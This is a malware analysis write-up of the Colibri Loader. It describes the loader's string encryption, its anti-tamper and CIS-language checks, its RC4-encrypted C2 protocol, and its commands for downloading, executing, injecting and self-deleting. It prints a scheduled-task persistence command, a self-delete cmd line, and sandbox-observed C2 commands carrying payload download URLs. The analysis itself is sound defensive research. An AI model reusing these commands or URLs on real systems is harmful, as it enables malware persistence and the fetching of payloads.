Colibri Loader - Back to basics

February 13, 2022 - Reading time: 23 minutes

Colibri Loader makes use of common malware techniques but presents a new entry into the malware as a service market with some interesting functions. 

Foreword

This clears up the analysis significantly and reveals the entry point of the loader. The malware begins by loading DLLs and resolving functions. To load DLLs Colibri uses LoadLibraryW and makes use of hardcoded arrays which contain the name of the DLL. Once the exports of the chosen DLL have been located the malware will use a custom hashing algorithm to create a hash of the export name. (See figure 2)

Figure 2: Hashing function

Colibri's important strings are XOR encrypted within the binary and when retrieved to be used by Colibri will be decrypted. Sometimes the string is unencrypted and will be stored within the key part of the encrypted strings structure. If the string is unencrypted then Colibri will return the key instead of proceeding with the decryption process.

Checks

Before carrying out important functions Colibri makes sure that it hasn't been cracked by checking the hardcoded C2 with a hash. This is to make sure that someone hasn't changed the C2 in an attempt to reuse/repurpose the malware. If the check fails then the malware will exit.  

Before continuing with the program flow, Colibri checks the language of the host system to determine whether they are within the CIS which it attempts to avoid. The malware acomplishes this by calling pGetUserDefaultLangID and then comparning the results to the following. If Colibri finds a match it will exit.

Check in

The general network communication of Colibri can be described as the following: 

• The malware decrypts a variety of strings, depending on the type of the request (GET vs POST). Among those strings, there are: 
  • The type/command of each request in string format(check|update|ping).
  • RC4 keys used to encrypt the content (in case of a POST request and decrypt) and also decrypt the response of the server. 
  • Information about the version of the loader, but also the current campaign ID. 
• If there is a POST request, the loader encrypts the content of the POST request with one of the decrypted RC4 keys. 
• The loader received a response from the server. The response is BASE64 encoded. 
• After decoding the response properly, it is decrypted with one of the RC4 keys. 
• The response is checked against a set of hardcoded strings that indicate if the response is valid or not.  

Colibri has 3 type of commands that are sent within its HTTP requests: 

When Colibri checks that the C2 is alive it will use the check command. Once the request is sent and a response is received the malware will decode the response using base64 and then use RC4 to decrypt the response. Once the response has been decrypted it will be compared to "SUCCESS". If the string and response do not match then the malware will exit.

Figure 3: Handling C2 response

Persistence

Figure 5: Determine persistence path

Depending on the Windows version Colibri will use the following paths:

• Windows 10 or above will use C:\Users\\{username}\\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe 
• Else for another edition will use C:\Users\{username}\Documents\WindowsPowerShell\dllhost.exe 

Once moved Colibri will schedule a task with the following command and then exit.

• /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr {path of the loader} 

C2 Communications & Commands

Figure 6: Getting system information

Colibri encrypts the data with RC4 and then base64 encodes it. Then the encrypted information is POSTed to the C2.

Figure 7: Encryption of system information

Now that the infected system is registered to the C2 Colibri will send "ping" commands to the C2 to check for new commands and tell the C2 that the infected system is online. When a "ping" command is sent the C2 can return the response of "NUPD" which stands for NEED UPDATE, the C2 will respond this when it needs the malware to re-register the infected system. If the malware receives this response it will re-send the check in information to the C2.

If the malware does not get a response of "NUPD" then it will proceed to parse the response and determine what command it has received. The command is made up of four arguments that are separated by the '|' character. The command has the following structure.

Examples of commands found from public sandboxes: 

• 0|http://80.92.205.102/SpotifySetup1.exe| 
• 0|https://bitbucket.org/tradercrypto/releases/downloads/lol.exe| 

Colibri determines what function to call based on the first argument and will dispatch what command to use depending on what number it is.

Commands 0 to 3 are all related to downloading and executing a payload. The malware retrieves the payload with the User-Agent "GoogleBot". After downloading the payload, Colibri deletes its file zone identifier and then based on the id, the payload is executed. 

Figure 8: Call command depending on ID

The command id 7 is forcing the loader to delete its persistence mechanism, the scheduled task but also remove itself from the system. The removal is being achieved by using ShellExecuteW to execute the following command: 

• cmd /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A {path of file} 

Command id 5 executes the third element in of the ping response arguments by using the ShellExecuteW API and calls "cmd open".

Figure 9: Commands 7 & 5

The command id 6 borrows elements from the command id 7, but before deleting itself, Colibri executes a file with “CreateProcessW” API. 

Figure 10: Delete itself

Lastly the command id 4 is responsible to download the payload and inject it to the current memory space. The injection is simple; The malware allocates space, then copies the executable and is setting the correct memory permissions on each section, rebuilds the import directory, rebase the code based on the new image base and then transfers the execution to its OEP. 

C2 Panel

Epilogue